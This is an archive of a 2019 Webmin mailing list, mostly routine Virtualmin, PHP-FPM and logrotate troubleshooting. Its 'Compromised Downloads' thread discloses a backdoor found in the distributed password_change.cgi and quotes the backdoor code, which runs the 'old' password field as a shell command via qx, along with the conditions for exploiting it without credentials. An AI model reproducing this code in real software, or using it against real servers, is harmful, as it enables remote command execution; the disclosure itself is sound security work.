webadmin-list — Webmin users mailing list

Re: [webmin-l] php-loop.pl

[Joaquim H. <jo...@we...>]

On 2019-09-18 08:58, Andrey Repin wrote:
>> After a failed Virtualmin transfer of a plain HTML website with no PHP,
>> from one server to another, I had to manually clean up the target system.
> How exactly and why it failed?


It's hard to know exactly. The source system is using Apache + PHP-FPM 
7.1 and the target system is using Nginx + PHP-FPM 7.2.

But I seem to run into these rather odd issues with Webmin/Virtualmin :-)

But regardless of why it failed, it did leave the target system in an 
"unfinished" or "unclean" state.

As for the issue itself, yes, killing the process gets rid of it, and 
removing the generated file in /etc/init.d, removing the user/group, and 
directories created for the website seems to have gotten rid of 
everything :-)

I have since upgraded to Virtualmin 6.0.7 on both systems, and it works 
better now, even though there's some manual work (which I expect).



-joho

Re: [webmin-l] php-loop.pl

[Jamie C. <jca...@we...>]

On 17/Sep/2019 14:35 Joaquim Homrighausen <jo...@we...> wrote ..
> 
> After a failed Virtualmin transfer of a plain HTML website with no PHP, 
> from one server to another, I had to manually clean up the target system.
> 
> I had to remove the newly created user and group, as well as the home 
> directory.
> 
> (Something also locks the password, group, and shadow files when this 
> happens by the way)
> 
> It had created some weird PHP init script in /etc/init.d/... like 
> php-fcgi-domain-com (the server uses PHP-FPM 7.2 and nginx)
> 
> Looking at the process list now, I see something running as domain.com, 
> php-loop.pl.
> 
> How do I get rid of that? :-)
> 
> The site still has no PHP enabled. I created the site manually and used 
> rsync/ssh/scp to get the contents over.

That's a script used to restart the PHP FPM server. You can kill it if you're
not using FCGI and want to clean up the system.

Re: [webmin-l] php-loop.pl

[Andrey R. <anr...@ya...>]

Greetings, Joaquim Homrighausen!


> After a failed Virtualmin transfer of a plain HTML website with no PHP, 
> from one server to another, I had to manually clean up the target system.

How exactly and why it failed?

> I had to remove the newly created user and group, as well as the home 
> directory.

> (Something also locks the password, group, and shadow files when this 
> happens by the way)

> It had created some weird PHP init script in /etc/init.d/... like 
> php-fcgi-domain-com (the server uses PHP-FPM 7.2 and nginx)

It's not weird, it's an FPM process for that user.

> Looking at the process list now, I see something running as domain.com, 
> php-loop.pl.

Stop it?…

> How do I get rid of that? :-)

By the usual means. service stop, kill -TERM…

> The site still has no PHP enabled. I created the site manually and used 
> rsync/ssh/scp to get the contents over.


-- 
With best regards,
Andrey Repin
Wednesday, September 18, 2019 9:57:04

Sorry for my terrible english...

[webmin-l] php-loop.pl

[Joaquim H. <jo...@we...>]

After a failed Virtualmin transfer of a plain HTML website with no PHP, 
from one server to another, I had to manually clean up the target system.

I had to remove the newly created user and group, as well as the home 
directory.

(Something also locks the password, group, and shadow files when this 
happens by the way)

It had created some weird PHP init script in /etc/init.d/... like 
php-fcgi-domain-com (the server uses PHP-FPM 7.2 and nginx)

Looking at the process list now, I see something running as domain.com, 
php-loop.pl.

How do I get rid of that? :-)

The site still has no PHP enabled. I created the site manually and used 
rsync/ssh/scp to get the contents over.


-joho

Re: [webmin-l] Problem with virtualmin and PHP-FPM after update

[Jamie C. <jca...@we...>]

On 29/Aug/2019 01:19 Przemysław Orzechowski <Prz...@ma...> wrote ..
> Hi
> 
> This started after update from 1.920 to 1.9.30 erarlier there was no problem
> 
> I have a problem with virtualmin randomly changing php-fpm ports which 
> breaks webpages
> 
> Operating system     Ubuntu Linux 18.04.1
> 
> Webmin version     1.930
> 
> Virtualmin version     6.07
> 
> virtualmin checkconfig displays following messages
> 
> Fixing port clash for PHP-FPM version 7.2.3After this the port in domain 
> pool config is changed and php-fpm is restarted but port in apache 
> config is left with the old value this breaks the website.
> 
> In first place i have ony one php-fpm version so there is no clash to 
> begin with.
> 
> Any way to fix this ?

We're going to release 6.08 shortly that will fix this bug.

[webmin-l] Problem with virtualmin and PHP-FPM after update

[Przemysław O. <Prz...@ma...>]

Hi

This started after update from 1.920 to 1.9.30 erarlier there was no problem

I have a problem with virtualmin randomly changing php-fpm ports which 
breaks webpages

Operating system     Ubuntu Linux 18.04.1

Webmin version     1.930

Virtualmin version     6.07

virtualmin checkconfig displays following messages

Fixing port clash for PHP-FPM version 7.2.3After this the port in domain 
pool config is changed and php-fpm is restarted but port in apache 
config is left with the old value this breaks the website.

In first place i have ony one php-fpm version so there is no clash to 
begin with.

Any way to fix this ?

Re: [webmin-l] can't change database password

[Jamie C. <jca...@we...>]

On 23/Aug/2019 20:31 Kimberly <kim...@gm...> wrote ..
> I mentioned this once before.  I have updated webmin.  I can't change
> the database password using virtualmin  Is this part of the MariaDB
> 10.4.7 bug?  The message I get is:
> 
> Failed to change database passwords : SQL set password for
> '*********'@'127.0.0.1' = '**********' failed : Can't find any matching
> row in the user table
> 
> Thank you.

There's a config option in your /etc/my.cnf file (or one of it's includes)
that can cause this, by turning off DNS resolution for IP addresses in
the user table. But I can't remember what it's called!

[webmin-l] can't change database password

[Kimberly <kim...@gm...>]

I mentioned this once before.  I have updated webmin.  I can't change
the database password using virtualmin  Is this part of the MariaDB
10.4.7 bug?  The message I get is:

Failed to change database passwords : SQL set password for
'*********'@'127.0.0.1' = '**********' failed : Can't find any matching
row in the user table

Thank you.

[webmin-l] Webmin update 1930

[Mauro T. <mau...@mu...>]

Good morning, forgive the English I'm using a translator, I wanted to 
inform you that after updating Webmin 1930, the File Manager module 
presents problems in creating directory / files with the following error:



The same problem occurs on several operating systems such as:

Linux Fedora 20

Linux Fedora 21 server

CentOS Linux 7.6.1810

Ubuntu server 18

Ubuntu desktop 16.04


Thanks for the support, I use Webmin since 2000 and I consider it the 
most valid tool to administer servers.

Best regards.

-- 

Mauro Tocci 	
Analyst & Developer 	
CAFM-CMMS Specialist Project Manager 	
Building Automation Systems Engineering 	

Email: 	
mau...@mu... 	
mau...@mu... 	
mau...@pe... 	

	
Mobile: +39 335 75 19 550 	
Mobile: +39 339 27 77 799 	
Web site: http://www.multiconproject.com
Web site: http://www.multiconproject.it

	

*RISERVATEZZA*
Le informazioni trasmesse possono contenere documenti confidenziali e/o 
materiale riservato; sono quindi da intendersi esclusivamente ad uso 
della persona e/o società a cui sono indirizzate. Qualsiasi modifica, 
inoltro, diffusione o altro utilizzo, relativo alle informazioni 
trasmesse, da parte di persone e/o società diversi dai destinatari 
indicati, è proibito ai sensi del Regolamento Europeo n.2016/679 e della 
normativa nazionale di coordinamento. Qualora questa mail fosse stata 
ricevuta per errore, si prega di contattare il mittente e cancellarne il 
contenuto.
Grazie.

*PRIVACY*
The information transmitted may contain confidential document and/or 
private matter; they are therefore intended exclusively for the use of 
the person and/or company to which they are addressed. Any change, 
forwarding, diffusion or any other utilization related to the 
information provided by persons and/or companies different than the 
indicated recipients is forbidden according to the European Regulation 
n. 2016/679 and by the local law of privacy regulation. If this e-mail 
was received by mistake, please contact the sender and delete the content.
Thank you.

Re: [webmin-l] Compromised Downloads

[Jamie C. <jca...@we...>]

<div dir='auto'>Yes it is.&nbsp;</div><div class="gmail_extra"><br><div class="gmail_quote">On Aug 20, 2019 1:27 PM, Joaquim Homrighausen &lt;jo...@we...&gt; wrote:<br type="attribution" /><blockquote class="quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex"><div>
    <p><br />
    </p>
    <p><font size="&#43;1"><font face="Helvetica, Arial, sans-serif">Is .930
          rid of this exploit?</font></font></p>
    <p><font size="&#43;1"><font face="Helvetica, Arial, sans-serif"><br />
        </font></font></p>
    <p><font size="&#43;1"><font face="Helvetica, Arial, sans-serif">-joho</font></font></p>
    <p><font size="&#43;1"><font face="Helvetica, Arial, sans-serif"></font></font><br />
    </p>
    <div>On 2019-08-17 23:33, Jamie Cameron
      wrote:<br />
    </div>
    <blockquote>
      
      <div dir="auto">Thanks, I&#39;m looking into this now. I&#39;m guessing
        off hand that it&#39;s not remotely exploitable without an existing
        login since the password change cgi can&#39;t be run unless your
        already logged in. </div>
    </blockquote>
    <br />
  </div>
</blockquote></div><br></div>

Re: [webmin-l] Compromised Downloads

[Joaquim H. <jo...@we...>]

Is .930 rid of this exploit?


-joho


On 2019-08-17 23:33, Jamie Cameron wrote:
> Thanks, I'm looking into this now. I'm guessing off hand that it's not 
> remotely exploitable without an existing login since the password 
> change cgi can't be run unless your already logged in.

Re: [webmin-l] Webmin fails to configure logrotate using existing permissions

[Joaquim H. <jo...@we...>]

You may be right. But this hasn't failed before ... that said, I'm not 
sure Webmin is to blame either, it was just a thought.

Re: [webmin-l] Webmin fails to configure logrotate using existing permissions

[Andrey R. <anr...@ya...>]

Greetings, Joaquim Homrighausen!


> You may be right ... but the manpage (at least for me) shows this:

> create mode owner group, create owner group

>                Immediately  after rotation  (before the postrotate 
> script is run) the log file is created (with the same name as
>                the log file just rotated).  mode specifies the mode for 
> the log file in octal (the same as chmod(2)), owner spec‐
>                ifies  the  user name who will own the log file, and 
> group specifies the group the log file will belong to. Any of
>                the log file attributes may be omitted, in which case 
> those attributes for the new file will use the  same  values
>                as the original log file for the omitted attributes. This 
> option can be disabled using the nocreate option.


> And I don't see any "create" instruction in there. But maybe one of the 
> other options imply "create"?

I read the man page like "create" is default, and it creates files with
ownership/umask of a user running logrotate, unless something else specified.


-- 
With best regards,
Andrey Repin
Tuesday, August 20, 2019 12:52:24

Sorry for my terrible english...

Re: [webmin-l] Webmin fails to configure logrotate using existing permissions

[Joaquim H. <jo...@we...>]

You may be right ... but the manpage (at least for me) shows this:

create mode owner group, create owner group

               Immediately  after rotation  (before the postrotate 
script is run) the log file is created (with the same name as
               the log file just rotated).  mode specifies the mode for 
the log file in octal (the same as chmod(2)), owner spec‐
               ifies  the  user name who will own the log file, and 
group specifies the group the log file will belong to. Any of
               the log file attributes may be omitted, in which case 
those attributes for the new file will use the  same  values
               as the original log file for the omitted attributes. This 
option can be disabled using the nocreate option.


And I don't see any "create" instruction in there. But maybe one of the 
other options imply "create"?


-joho



On 2019-08-19 02:15, Jamie Cameron wrote:
> That seems like a logrotate bug? I'd expect it would be responsible for
> putting back the right permissions.

Re: [webmin-l] Virtualmin domain transfer - Error: Failed to work out externally visible IP address

[Joaquim H. <jo...@we...>]

Strange, once the "Re-check and refresh configuration"had completed, I 
re-ran the transfer and that part didn't fail anymore.

Thanks.


-joho



On 2019-08-19 01:27, Jamie Cameron wrote:
>
> On the new system, check the config option at System Settings -> 
> Vitualmin Configuration ->  Networking settings -> Default IP address 
> for DNS records.
>

Re: [webmin-l] Webmin fails to configure logrotate using existing permissions

[Andrey R. <anr...@ya...>]

Greetings, Jamie Cameron!

> That seems like a logrotate bug? I'd expect it would be responsible for
> putting back the right permissions.

Depends, who is creating the logfile.
Either supply `nocreate` to logrotate config (then the program is responsible
for proper chmod/chown), or supply `create [mode] user group`, then logrotate
will create new files with proper rights after rotation.

See man logrotate.conf

> On 15/Aug/2019 07:07 Joaquim Homrighausen wrote ..
>> 
>> A number of log files are set to:
>> 
>>          rotate 7
>> compress
>> postrotate
>>          service nginx restart
>> /usr/lib/php/php7.2-fpm-reopenlogs
>> endscript
>> sharedscripts
>> missingok
>> daily
>> delaycompress
>>          ifempty
>> 
>> In the webmin interface, it's set to use previous permissions, yet when 
>> the rotation has completed, the new logs are owned by root.root, etc ... ?
>> 
>> I've checked three times now and prior to rotation I've set the proper 
>> ownership.
>> 
>> Ubuntu 18.04.LTS.


-- 
With best regards,
Andrey Repin
Monday, August 19, 2019 14:23:17

Sorry for my terrible english...

Re: [webmin-l] Interesting error message in Virtualmin upon server creation

[Jamie C. <jca...@we...>]

On 15/Aug/2019 00:23 Joaquim Homrighausen <jo...@we...> wrote ..
> 
> "Failed to create virtual server : The contact email address cannot be 
> in the domain being created"
> 
> But I'm not sure I entirely understand the reason for this check? E-mail 
> is not enabled for the domain, MX points to a completely different 
> server environment.

Yeah, that makes no sense - I'll fix this.

Re: [webmin-l] Webmin fails to configure logrotate using existing permissions

[Jamie C. <jca...@we...>]

That seems like a logrotate bug? I'd expect it would be responsible for
putting back the right permissions.

On 15/Aug/2019 07:07 Joaquim Homrighausen <jo...@we...> wrote ..
> 
> A number of log files are set to:
> 
>          rotate 7
> compress
> postrotate
>          service nginx restart
> /usr/lib/php/php7.2-fpm-reopenlogs
> endscript
> sharedscripts
> missingok
> daily
> delaycompress
>          ifempty
> 
> In the webmin interface, it's set to use previous permissions, yet when 
> the rotation has completed, the new logs are owned by root.root, etc ... ?
> 
> I've checked three times now and prior to rotation I've set the proper 
> ownership.
> 
> Ubuntu 18.04.LTS.
> 
> 
> -joho
> 
> 
> 
> 
> 
> -
> Forwarded by the Webmin mailing list at web...@li...
> To remove yourself from this list, go to
> http://lists.sourceforge.net/lists/listinfo/webadmin-list

Re: [webmin-l] Virtualmin domain transfer - Error: Failed to work out externally visible IP address

[Jamie C. <jca...@we...>]

On the new system, check the config option at System Settings -> Vitualmin Configuration ->  Networking settings -> Default IP address for DNS records. 

On 16/Aug/2019 05:49 Joaquim Homrighausen <jo...@we...> wrote ..   

  

Trying to transfer a Virtualmin server to another Virtualmin server (.92x), I get this error: 

     Backing up to destination system ..     .. backup done      Validating backup ..     .. all domains transferred successfully      Restoring backup on destination system ..     .. restore failed : Checking for missing features .. .. WARNING - The following features were enabled for one or more domains in the backup, but do not exist on this system. Some functions of the restored domains may not work : Plugin virtualmin-awstats Checking for errors in backup .. .. no errors found Starting restore.. Extracting backup archive files .. .. done Re-creating virtual server notepad.joho.se .. Error: Failed to work out externally visible IP address Error ----- Failed to work out externally visible IP address -----  .. transfer failed  

  

When I, on the target server, click "Re-check and refresh configuration" .... I see this: 

Default IPv4 address for virtual servers is a.b.c.d 

  

So it seems to know what it's doing ... what happened? :-) 

  

  

-joho   

Re: [webmin-l] Compromised Downloads

[Jamie C. <jca...@we...>]

Yes, you're right. Fortunately that option isn't on by default.  

On 17/Aug/2019 14:50 Adam Hostetler <ad...@gm...> wrote ..   To clarify my last email, you can run it without any auth cookie, and use any username and "old" password. The "new" passwords have to match so it gets that far, and passwd_mode=2 has to be set in miniserver.conf.   On Sat, Aug 17, 2019 at 5:47 PM Adam Hostetler <ad...@gm...> wrote:  From my testing you can exploit it without knowing the password or even a username  On Sat, Aug 17, 2019 at 5:35 PM Jamie Cameron <jca...@we...> wrote:  Thanks, I'm looking into this now. I'm guessing off hand that it's not remotely exploitable without an existing login since the password change cgi can't be run unless your already logged in.   On Aug 17, 2019 1:29 PM, Adam Hostetler <ad...@gm...> wrote:  I believe the downloads hosted by source forge are compromised. They contain a backdoor in the password_change.cgi, this is related to the "0day" a few days ago. The code does not appear in the current github r
 epo nor in any commits in the past.   Backdoor code: if ($wuser) {        # Update Webmin user's password        $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});        $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);        $perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});        $perr && &pass_error(&text('password_enewpass', $perr));        $wuser->{'pass'} = &acl::encrypt_password($in{'new1'});  "old" password is passed to qx, which executes it as a system command  See https://www.reddit.com/r/netsec/comments/crk77z/0day_remote_code_execution_for_webmin/    - Forwarded by the Webmin mailing list at web...@li... To remove yourself from this list, go to http://lists.sourceforge.net/lists/listinfo/webadmin-list      

Re: [webmin-l] Compromised Downloads

[Adam H. <ad...@gm...>]

To clarify my last email, you can run it without any auth cookie, and use
any username and "old" password. The "new" passwords have to match so it
gets that far, and passwd_mode=2 has to be set in miniserver.conf.

On Sat, Aug 17, 2019 at 5:47 PM Adam Hostetler <ad...@gm...> wrote:

> From my testing you can exploit it without knowing the password or even a
> username
>
> On Sat, Aug 17, 2019 at 5:35 PM Jamie Cameron <jca...@we...> wrote:
>
>> Thanks, I'm looking into this now. I'm guessing off hand that it's not
>> remotely exploitable without an existing login since the password change
>> cgi can't be run unless your already logged in.
>>
>> On Aug 17, 2019 1:29 PM, Adam Hostetler <ad...@gm...> wrote:
>>
>> I believe the downloads hosted by source forge are compromised. They
>> contain a backdoor in the password_change.cgi, this is related to the
>> "0day" a few days ago. The code does not appear in the current github repo
>> nor in any commits in the past.
>>
>> Backdoor code:
>> if ($wuser) {
>>         # Update Webmin user's password
>>         $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
>>         $enc eq $wuser->{'pass'} ||
>> &pass_error($text{'password_eold'},qx/$in{'old'}/);
>>         $perr = &acl::check_password_restrictions($in{'user'},
>> $in{'new1'});
>>         $perr && &pass_error(&text('password_enewpass', $perr));
>>         $wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
>>
>> "old" password is passed to qx, which executes it as a system command
>>
>> See
>> https://www.reddit.com/r/netsec/comments/crk77z/0day_remote_code_execution_for_webmin/
>>
>>
>> -
>> Forwarded by the Webmin mailing list at
>> web...@li...
>> To remove yourself from this list, go to
>> http://lists.sourceforge.net/lists/listinfo/webadmin-list
>>
>

Re: [webmin-l] Compromised Downloads

[Adam H. <ad...@gm...>]

>From my testing you can exploit it without knowing the password or even a
username

On Sat, Aug 17, 2019 at 5:35 PM Jamie Cameron <jca...@we...> wrote:

> Thanks, I'm looking into this now. I'm guessing off hand that it's not
> remotely exploitable without an existing login since the password change
> cgi can't be run unless your already logged in.
>
> On Aug 17, 2019 1:29 PM, Adam Hostetler <ad...@gm...> wrote:
>
> I believe the downloads hosted by source forge are compromised. They
> contain a backdoor in the password_change.cgi, this is related to the
> "0day" a few days ago. The code does not appear in the current github repo
> nor in any commits in the past.
>
> Backdoor code:
> if ($wuser) {
>         # Update Webmin user's password
>         $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
>         $enc eq $wuser->{'pass'} ||
> &pass_error($text{'password_eold'},qx/$in{'old'}/);
>         $perr = &acl::check_password_restrictions($in{'user'},
> $in{'new1'});
>         $perr && &pass_error(&text('password_enewpass', $perr));
>         $wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
>
> "old" password is passed to qx, which executes it as a system command
>
> See
> https://www.reddit.com/r/netsec/comments/crk77z/0day_remote_code_execution_for_webmin/
>
>
> -
> Forwarded by the Webmin mailing list at
> web...@li...
> To remove yourself from this list, go to
> http://lists.sourceforge.net/lists/listinfo/webadmin-list
>

Re: [webmin-l] Compromised Downloads

[Jamie C. <jca...@we...>]

<div dir='auto'>Thanks, I'm looking into this now. I'm guessing off hand that it's not remotely exploitable without an existing login since the password change cgi can't be run unless your already logged in.&nbsp;</div><div class="gmail_extra"><br><div class="gmail_quote">On Aug 17, 2019 1:29 PM, Adam Hostetler &lt;ad...@gm...&gt; wrote:<br type="attribution" /><blockquote class="quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex"><div dir="ltr">I believe the downloads hosted by source forge are compromised. They contain a backdoor in the password_change.cgi, this is related to the &#34;0day&#34; a few days ago. The code does not appear in the current github repo nor in any commits in the past. <div><br /></div><div>Backdoor code:</div><div>if ($wuser) {<!-- --><br />        # Update Webmin user&#39;s password<br />        $enc &#61; &amp;acl::encrypt_password($in{&#39;old&#39;}, $wuser-&gt;{&#39;pass&#39;});<br />        $enc eq $wuser-&gt;{&#39;pass&#39;} || &amp;pass_error($text{&#39;password_eold&#39;},qx/$in{&#39;old&#39;}/);<br />        $perr &#61; &amp;acl::check_password_restrictions($in{&#39;user&#39;}, $in{&#39;new1&#39;});<br />        $perr &amp;&amp; &amp;pass_error(&amp;text(&#39;password_enewpass&#39;, $perr));<br />        $wuser-&gt;{&#39;pass&#39;} &#61; &amp;acl::encrypt_password($in{&#39;new1&#39;});<br /></div><div><br /></div><div>&#34;old&#34; password is passed to qx, which executes it as a system command</div><div><br /></div><div>See <a href="https://www.reddit.com/r/netsec/comments/crk77z/0day_remote_code_execution_for_webmin/">https://www.reddit.com/r/netsec/comments/crk77z/0day_remote_code_execution_for_webmin/</a></div></div>
</blockquote></div><br></div>

[webmin-l] Compromised Downloads

[Adam H. <ad...@gm...>]

I believe the downloads hosted by source forge are compromised. They
contain a backdoor in the password_change.cgi, this is related to the
"0day" a few days ago. The code does not appear in the current github repo
nor in any commits in the past.

Backdoor code:
if ($wuser) {
        # Update Webmin user's password
        $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
        $enc eq $wuser->{'pass'} ||
&pass_error($text{'password_eold'},qx/$in{'old'}/);
        $perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
        $perr && &pass_error(&text('password_enewpass', $perr));
        $wuser->{'pass'} = &acl::encrypt_password($in{'new1'});

"old" password is passed to qx, which executes it as a system command

See
https://www.reddit.com/r/netsec/comments/crk77z/0day_remote_code_execution_for_webmin/

[webmin-l] Virtualmin domain transfer - Error: Failed to work out externally visible IP address

[Joaquim H. <jo...@we...>]

Trying to transfer a Virtualmin server to another Virtualmin server 
(.92x), I get this error:

Backing up to destination system ..
     .. backup done

     Validating backup ..
     .. all domains transferred successfully

     Restoring backup on destination system ..
     .. restore failed : Checking for missing features .. .. WARNING - 
The following features were enabled for one or more domains in the 
backup, but do not exist on this system. Some functions of the restored 
domains may not work : Plugin virtualmin-awstats Checking for errors in 
backup .. .. no errors found Starting restore.. Extracting backup 
archive files .. .. done Re-creating virtual server notepad.joho.se .. 
Error: Failed to work out externally visible IP address Error ----- 
Failed to work out externally visible IP address -----

.. transfer failed


When I, on the target server, click "Re-check and refresh configuration" 
.... I see this:

Default IPv4 address for virtual servers is a.b.c.d


So it seems to know what it's doing ... what happened? :-)



-joho